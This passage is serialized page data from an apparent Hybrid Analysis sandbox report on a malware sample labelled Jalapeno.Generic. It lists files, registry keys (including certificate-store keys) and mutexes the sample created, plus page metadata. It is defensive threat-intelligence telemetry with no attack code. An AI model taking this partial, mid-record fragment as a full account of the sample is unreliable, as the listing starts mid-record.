9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_cf\\_ey\\_zot.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_cf\\_ey\\_zx.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"C:\\Packet\\_ce\\_cv\\_qk.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_CV\\_QK.XML","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_cv\\_qk.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_cv\\_uq.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_cv\\_vba.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_cv\\_vx.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_cv\\_vxu.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_cv\\_xzin.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_cv\\_yauk.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_czk.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_dey.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\Packet\\_ce\\_enh.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\_eyai.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\_lurg.xml","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"C:\\Packet\\_ce\\_cf\\_ey","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"C:\\Packet\\_ce\\_cv","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%TEMP%\\is-T5UCC.tmp\\april.tmp","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%TEMP%\\is-C8LOF.tmp\\_isetup\\_RegDLL.tmp","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%TEMP%\\is-C8LOF.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%TEMP%\\is-C8LOF.tmp\\_isetup\\_shfoldr.dll","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%TEMP%\\is-C8LOF.tmp\\_isetup\\_iscrypt.dll","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\unins000.dat","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\is-KQJQP.tmp","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\is-E1QGJ.tmp","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\is-IRLGV.tmp","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\is-D54J2.tmp","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\is-85VUO.tmp","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\is-AB0VE.tmp","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\is-UM722.tmp","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\is-8FIBH.tmp","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\flashdecompiler32.exe","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%TEMP%\\u1s0.0.exe","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%TEMP%\\u1s0.1.exe","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%TEMP%\\iolo\\dm\\ioloDMLog.txt","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%ALLUSERSPROFILE%\\iolo\\logs\\WSComm.log","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%ALLUSERSPROFILE%\\iolo technologies\\logs\\bootstrap.log","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\ApplicationInsights\\e246a50757c837cad97fe4bc3d27720b8646c99888a652bdd3c9f1165cc2a9c1\\5qas4b5t.awd","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"pipe\\VBoxMiniRdDN","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"pipe\\VBoxTrayIPC","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%PUBLIC%\\Music\\__tmp_rar_sfx_access_check_907373091","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%TEMP%\\is-8K6HT.tmp\\april.tmp","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%TEMP%\\is-47G70.tmp\\_isetup\\_RegDLL.tmp","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%TEMP%\\is-47G70.tmp\\_isetup\\_shfoldr.dll","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"path":"%TEMP%\\is-47G70.tmp\\_isetup\\_iscrypt.dll","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\70B55548\\","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\DIRECT3D\\MOSTRECENTAPPLICATION\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5760:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5760:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5760:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5760:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"Local\\SM0:5760:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"SM0:5760:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"SM0:5760:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"Local\\SM0:5760:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8076:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8076:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"Local\\SM0:8076:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"SM0:8076:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7560:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"SM0:7560:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1560:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1560:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1560:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1560:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"Local\\SM0:1560:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"Local\\SM0:1560:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"SM0:1560:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"SM0:1560:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"Local\\SM0:7680:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"SM0:7680:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"Local\\SM0:7668:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"SM0:7668:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"SM0:7224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7680:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7680:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7668:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7668:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4496:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"SM0:4496:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"Local\\__DDrawCheckExclMode__","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"Local\\__DDrawExclMode__","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\__DDrawExclMode__","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\__DDrawCheckExclMode__","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]}]}},"report_ids":{"sandbox_job_ids":["6884a8ceb8ba0a9b5c03d337","65fc2a0d0c95d1bcd40e482c"]}}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious Jalapeno.Generic Sample fdfc254cf83f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample fdfc254cf83f…. Malware family: Jalapeno.Generic. Threat score 100/100. 19/27 AV engines flagged this file. 14 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3"}],["$","meta","4",{"property":"og:title","content":"Malicious Jalapeno.Generic Sample fdfc254cf83f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample fdfc254cf83f…. Malware family: Jalapeno.Generic. Threat score 100/100. 19/27 AV engines flagged this file. 14 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Jalapeno.Generic Sample fdfc254cf83f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample fdfc254cf83f…. Malware family: Jalapeno.Generic. Threat score 100/100. 19/27 AV engines flagged this file. 14 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L97","11",{}]]